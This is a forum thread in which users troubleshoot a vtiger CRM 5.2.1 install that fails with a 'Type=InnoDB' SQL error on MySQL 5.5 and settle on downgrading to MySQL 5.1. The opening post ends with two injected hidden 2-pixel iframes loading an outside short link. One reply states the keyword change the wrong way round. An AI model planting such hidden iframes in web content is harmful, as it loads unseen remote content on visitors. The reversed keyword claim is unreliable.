Installation-error in SQL syntax near 'Type=InnoDB' @ line 7

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Type=InnoDB' at line 7Error: Tables partially created. Table creation failed.

I triple checked, step by step, my configuration and the wiki, the forum and extensively googled for 2 days.

I managed to successfully install vtiger in other environments in the past, but not the last version.
Windows web server 2008 fresh installation. Also tried php 5.2 and 5.3

I also wrote a reply in a topic for the vtiger 5.2.0 with the same error as mine.

Any hint would be gratly appreciated

Thank you! <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
«1

Comments

  • 18 Comments sorted by Votes Date Added
  • following the instructions
    installation fails with error message saying 'tables partially created'
    a. please refer to the following steps to install vtiger on hosted server where you do not have access to php or mysql configurations.
    download the vtiger crm 5.1.0 database dump file from our website
    drop the database that was partially created during installation and re-create a empty database with same name.
    import the dump file into this re-created database.
    download the required files for failed installation from our website
    unzip this into the vtiger crm source directory. (eg: /var/www/html/vtigercrm)
    and run the file (510-dumpsetup.php)

    running the 510-dunbsetup.php file i just get the header of the file.

    really don't know what to try now.
  • i have the same problem, do you use mysql 5.5.8, because en 5.1.53, i dont have problems.

    i´m trying to install vtiger 5.2.1 in the following environment
    wampserver 2.1a includes : apache 2.2.17, php 5.3.3, mysql 5.5.8 and phpmyadmin 3.2.0.1 and i get the following error:
    "you have an error in your sql sintaxis, ......type = innodb at line 7 error; table partially created: table creation failed"
    only one file was created: vtiger_asterisk incomingevents with 10 fields.
  • i have the same problem, do you use mysql 5.5.8, because en 5.1.53, i dont have problems.

    i´m trying to install vtiger 5.2.1 in the following environment
    wampserver 2.1a includes : apache 2.2.17, php 5.3.3, mysql 5.5.8 and phpmyadmin 3.2.0.1 and i get the following error:
    "you have an error in your sql sintaxis, ......type = innodb at line 7 error; table partially created: table creation failed"
    only one file was created: vtiger_asterisk incomingevents with 10 fields.

    yes, i'm using mysql 5.5.8 for win 64 bit.

    today i even tried deleting win server role as http server and installing (+ configuring) apache.
    always the same result.
    everything else is just working fine.

    i'm done spending time on that...

    i hope a developer can read this thread and give us some hint. i think this error will happen more and more with new installations w mysql 5.5.8
  • ...only one file was created: vtiger_asterisk incomingevents with 10 fields.

    same for me.
  • i wanted to give my contribution, so i kept trying and downgraded to mysql 5.1
    it works now.

    then i suppose that last version of vtiger doesn't plays well with the last version of mysql.

    everybody please be aware
  • i posted this problem in another mysql forum and this was the answer:

    "you'll probably need an index for a foreign key, that you are declaring, in
    older versions this isn't neccesary but in latest ones it is a restriction."

    i am reading the mysql manual 5.5, trying to obtain more information, meanwhile i am working in mysql 5.1
  • i've the same problem running 5.2.1 on mysql 5.5.8. vtiger does not compatible with mysql 5.5. it supports up to mysql 5.1.x as stated in the system requirement. also, the systax has changed in mysql 5.5. the database type "engine" has chenged to "type". so, unless you update all the sql codes in vtiger, otherwise, you will experience problems. please downgrade to mysql 5.1.
  • please post the issue on <!-- m --><a class="postlink" href="http://trac.vtiger.com">http://trac.vtiger.com</a><!-- m -->
  • i've the same problem running 5.2.1 on mysql 5.5.8. vtiger does not compatible with mysql 5.5. it supports up to mysql 5.1.x as stated in the system requirement. also, the systax has changed in mysql 5.5. the database type "engine" has chenged to "type". so, unless you update all the sql codes in vtiger, otherwise, you will experience problems. please downgrade to mysql 5.1.

    i wouldn't say as stated in the system requirements, see
    <!-- m --><a class="postlink" href="http://wiki.vtiger.com/index.php/vtiger521:windows_installation">http://wiki.vtiger.com/index.php/vtiger ... stallation</a><!-- m -->
    installation prerequisites

    * you must have "administrator privileges" on the system. if you are installing without administrator privileges, vtiger crm software will not be installed properly.
    * before installing vtiger crm software, stop the apache and mysql services.
    * vtiger crm software is compatible with apache 2.0.40 , mysql 5.1.x and above , and php 5.0x and above.
    * read/write permissions for some of the vtiger crm directories – applicable to vtiger crm source installation
    * php settings (php.ini) configuration -applicable to vtiger crm source installation

    if you knew that, you could have reported that in the forum allowing a lot of people saving a lot of time...
  • please refer to <!-- m --><a class="postlink" href="http://wiki.vtiger.com/index.php/vtiger521:linux_installation">http://wiki.vtiger.com/index.php/vtiger ... stallation</a><!-- m -->

    system requirements
    •hardware: hosted.
    •web server: apache 2.0.40 or above.
    database: mysql version 4.1.x through 5.1.x. [/b
    ]•php:php 5.0.x through 5.3.x.
    •web browser: firefox 1.5.x and above, ie7
    •operating system: debian 4.0/5.0, centos, ubuntu or fedora core/6/9
Sign In or Register to comment.